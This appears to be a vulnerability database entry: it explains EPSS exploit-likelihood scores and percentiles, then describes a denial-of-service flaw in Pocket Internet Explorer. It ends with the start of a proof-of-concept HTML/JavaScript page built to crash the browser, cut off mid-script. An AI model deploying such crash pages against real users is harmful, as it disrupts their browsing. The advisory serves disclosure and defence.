EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

A denial of service vulnerability has been reported for Pocket Internet Explorer (PIE). The vulnerability is due to the way some JavaScript code is interpreted by PIE.
By enticing a victim user to browse a maliciously crafted web page an attacker can cause PIE to crash.
<html> <head>
<script language="Javascript">
function displayPage(page){
if(page=="onload"){
main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">Crash
me</a>";}
if(page=="crash"){
